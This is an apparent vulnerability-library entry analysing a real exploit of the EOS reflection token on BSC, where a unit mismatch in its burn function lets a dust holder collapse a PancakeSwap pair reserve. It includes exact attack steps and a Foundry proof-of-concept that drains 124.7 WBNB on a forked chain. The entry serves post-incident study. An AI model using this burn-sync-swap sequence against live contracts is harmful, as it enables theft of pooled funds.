# EOS: reflection-burn unit confusion drains WBNB pair

EOS reflection token's public burn mixes r-space balance bound with t-space supply subtraction, letting a dust holder collapse the pair reserve and drain 124.7 WBNB.

- Payout: Real-world hack
- Severity: critical
- Program: EOS
- Analysis by: DeFiHackLabs
- Disclosed: 2026-11-29
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-11/EOS_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261129-eos
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** BEP20 reflection token burn function and PancakeSwap pair
**Root cause:** burn(uint256) bounds value by the caller's r-space _rOwned but subtracts the same raw value from t-space _tTotal; since rate ~1e53, a dust holder can pass a value near _tTotal, collapsing supply and spiking the reflection rate.
**Steps:**
1. Fork BSC at block 136510890, one block before exploit tx.
2. Call `EOS.burn(692849680681943412647198)` to collapse _tTotal and drop pair EOS balance to 1 wei.
3. Call `PAIR.sync()` to bake reserve0 = 1.
4. Call `EOS.burn(3)` to flip _getCurrentSupply guard and reflate pair balance to 6821.34 EOS while cached reserve stays 1.
5. Call `PAIR.swap(0, reserve1-1, ATTACKER, "")` to drain entire WBNB reserve.
**How found:** Recognized unit mismatch in reflection token burn: bound in r-space but subtraction in t-space, exploitable because rate is huge relative to supply.
**Exploitation:** Attacker with dust EOS calls public burn to collapse pair's EOS reserve, syncs to cache deflated reserve, burns tiny amount to reflate pair balance above stale reserve, then swaps for entire WBNB; reflated balance over stale reserve credited as amount0In satisfies constant-product check.
**Insight:** In reflection tokens, check every arithmetic operation for mixing r-space and t-space quantities; public burn/mint functions that bound one space but modify another can collapse supply and manipulate AMM reserves.

## Proof of concept (copied exactly from the original report)

**Foundry PoC replaying burn-sync-swap drain**

```
function testExploit() public {
        uint256 wbnbBefore = WBNB.balanceOf(ATTACKER);
        (uint112 r0, uint112 r1,) = PAIR.getReserves();
        console.log("pair reserves  EOS :", uint256(r0));
        console.log("pair reserves  WBNB:", uint256(r1));
        console.log("attacker EOS seed  :", EOS.balanceOf(ATTACKER));
        console.log("attacker WBNB start:", wbnbBefore);

        vm.startPrank(ATTACKER);

        // 1. collapse the t-space supply with the r-space-bounded burn
        EOS.burn(BURN_COLLAPSE);
        console.log("pair EOS after burn:", EOS.balanceOf(address(PAIR)));

        // 2. bake the deflated EOS reserve into the pair
        PAIR.sync();
        (uint112 s0, uint112 s1,) = PAIR.getReserves();
        console.log("synced reserve EOS :", uint256(s0));

        // 3. reflate the pair's own balance above the stale reserve (phantom amount0In source)
        EOS.burn(3);
        console.log("pair EOS reflated  :", EOS.balanceOf(address(PAIR)));

        // 4. drain the pair's WBNB against the collapsed reserve
        (, uint112 r1Now,) = PAIR.getReserves();
        PAIR.swap(0, uint256(r1Now) - 1, ATTACKER, "");

        vm.stopPrank();

        uint256 gained = WBNB.balanceOf(ATTACKER) - wbnbBefore;
        console.log("attacker WBNB gain :", gained);

        // measured on-chain drain
        assertEq(gained, 124_702_548_070_145_220_571, "WBNB drain mismatch");
        emit log_named_decimal_uint("Attacker WBNB profit", gained, 18);
    }
```

**Negative control swap without burn manipulation**

```
function testNegativeControl() public {
        (, uint112 r1,) = PAIR.getReserves();
        vm.prank(ATTACKER);
        vm.expectRevert(bytes("Pancake: INSUFFICIENT_INPUT_AMOUNT"));
        PAIR.swap(0, uint256(r1) - 1, ATTACKER, "");
    }
```

